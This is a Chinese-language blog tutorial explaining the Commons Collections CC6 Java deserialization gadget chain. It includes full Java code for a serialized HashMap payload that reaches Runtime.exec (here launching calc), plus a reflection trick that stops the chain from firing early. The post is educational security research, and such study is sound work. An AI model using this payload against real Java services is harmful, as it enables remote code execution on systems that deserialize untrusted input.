Java反序列化利用链篇 | CC6链分析(通用版CC链)
CC6
CC6和CC1之间的区别
在CC1的LazyMap链中,调用链如下:
AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() LazyMap.get() ChainedTransformer.transform() InvokerTransformer.transform() Runtime.exec()
而在CC1链中,对CommonsCollections和jdk版本是有限制的。
而CC6链不受版本影响,更具通用性。
其调用链为:
HashMap.readObject() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() InvokerTransformer.transform() Runtime.exec()
其和CC1的不同点在于,入口类不同,通过
HashMap.readObject() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue()
调用了LazyMap
的get()
方法。
CC6的调用链
HashMap.readObject()
方法调用了HashMap.hash()
方法:
HashMap.hash()
方法调用了key.hashCode()
方法,如果要使调用的是TiedMapEntry.hashCode()
方法,需要使key
参数为TiedMapEntry
对象:
TiedMapEntry.hashCode()
方法调用了TiedMapEntry.getValue()
方法:
TiedMapEntry.getValue()
方法调用了map.get()
方法,如果要使被调用的是LazyMap.get()
方法,需要使map
属性为LazyMap
对象:
构造CC6的payload
CC6和CC1-2的调用链后半段一致
// 1. 创建ChainedTransformer链 Transformer[] transformerArray = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray); // 2. 创建LazyMap对象 LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
完成TiedMapEntry.getValue()
TiedMapEntry.getValue()
方法,会调用map.get()
,其中将map
属性设置为LazyMap
对象
而TiedMapEntry
的构造方法为public,所以可以直接实例化
代码如下:
这里有一个点需要注意(小坑):
TiedMapEntry()
构造方法的第二个参数用不到,所以随意传入进行,但是重要的是它接受一个Object对象,而这个对象的类需要实现Serializable接口,如果不是,则后续的序列化不能成功。
所以,这里不能传入new Object(),但可以传入new String(),因为Object类没有实现Serializable接口。
// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
其中的getValue()
也为public
修饰,所以可以直接调用用来测试
tiedMapEntry.getValue();
运行,成功执行恶意代码:
完成TiedMapEntry.hashCode()
接下来,看谁调用了tiedMapEntry的getValue()
,前面已经说过,TiedMapEntry
的hashCode()
方法中有调用,因此:
tiedMapEntry.hashCode();
这里直接测试,此时代码如下(只是将getValue
方法替换成了hashCode
方法):
完成HashMap.hash()
及HashMap.readObject()
接下来就是HashMap
中的hash()
方法调用hashCode()
方法,其中传入的key
需要是tiedMapEntry
hash()
方法没有被public修饰,不能直接调用,因此需要利用readObject()
方法,因为在readObject()
方法中存在hash()
方法的调用。
readObject()
方法在反序列化的时候会被调用,因此我们只需要创建一个HashMap对象,然后序列化即可。注意key
需要保证是tiedMapEntry
代码如下:
HashMap hashMap = new HashMap(); hashMap.put(tiedMapEntry,null); // 将tiedMapEntry当做key存入hashMap
此时的payload的代码如下:
// CC6和CC1-2的调用链后半段一致 // 1. 创建ChainedTransformer链 Transformer[] transformerArray = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray); // 2. 创建LazyMap对象 LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer); // 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String()); // tiedMapEntry.getValue(); // 4. TiedMapEntry.hashCode()方法,会调用TiedMapEntry.getValue() // tiedMapEntry.hashCode(); // 5. 完成HashMap.hash()及HashMap.readObject() HashMap hashMap = new HashMap(); hashMap.put(tiedMapEntry,null); // 将tiedMapEntry当做key存入hashMap SerAndUnser.serialize(hashMap); // SerAndUnser.unserialize("ser.bin");
看似完美,但是运行会发现,即使不进行序列,也会弹计算器?
这是为什么呢?
如果我们进入hashMap的put()
方法会发现,put()
方法中已经触发了hash()
方法,
接下来,解决一下这个问题
解决hash()
方法提前触发的问题
这里其实跟URLDNS链中的情况差不多~
我们的解决思路是:
- 1)
tiedMapEntry
对象在put
方式放入hashMap
对象时,使tiedMapEntry
对象中的内容不完整,进而不让最终的代码触发。 - 2)
put
完成之后,通过反射再将tiedMapEntry
对象中的内容修改完整。
那如何让tiedMapEntry
对象中的内容不完整呢?这里需要看一下tiedMapEntry
对象中有什么:
可以看到tiedMapEntry对象中有lazyMap、chainedTransformer、transformerArray。
其中tiedMapEntry对象的map
属性存放的就是lazyMap,我们将map
属性设置为空的map对象(除上面创建的lazyMap都行),则最终就不会触发到恶意代码 (当然其他的也行:只要保证整个链子到不了恶意代码就行)。
第1步先获取到tiedMapEntry的map属性(map属性存放的就是lazyMap)
Field mapField = tiedMapEntry.getClass().getDeclaredField("map"); mapField.setAccessible(true);
第2步将map属性设置为一个空的map对象(除上面创建的lazyMap都行)
mapField.set(tiedMapEntry,new HashMap());
第3步,完成put操作后,再将其设置为lazyMap对象
mapField.set(tiedMapEntry,lazyMap);
因此最终的payload为:
// 1. 创建ChainedTransformer链 Transformer[] transformerArray = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray); // 2. 创建LazyMap对象 LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer); // 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String()); // tiedMapEntry.getValue(); // 4. TiedMapEntry.hashCode()方法,会调用TiedMapEntry.getValue() // tiedMapEntry.hashCode(); // 5. 完成HashMap.hash()及HashMap.readObject() HashMap hashMap = new HashMap(); // 6. 解决hash提前触发问题 // 1)获取到tiedMapEntry的map属性(map属性存放的就是lazyMap) Field mapField = tiedMapEntry.getClass().getDeclaredField("map"); mapField.setAccessible(true); // 2)将map属性设置为一个空的map对象(除上面创建的lazyMap都行) mapField.set(tiedMapEntry,new HashMap()); // 3)执行之前的put操作,此时tiedMapEntry对象是不完整的 hashMap.put(tiedMapEntry,"aaa"); // 将tiedMapEntry当做key存入hashMap // 4)完成put操作后,再将其设置为lazyMap对象 mapField.set(tiedMapEntry,lazyMap); SerAndUnser.serialize(hashMap); SerAndUnser.unserialize("ser.bin");
本文来自博客园,作者:leyilea,转载请注明原文链接:https://www.cnblogs.com/leyilea/p/18426190
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~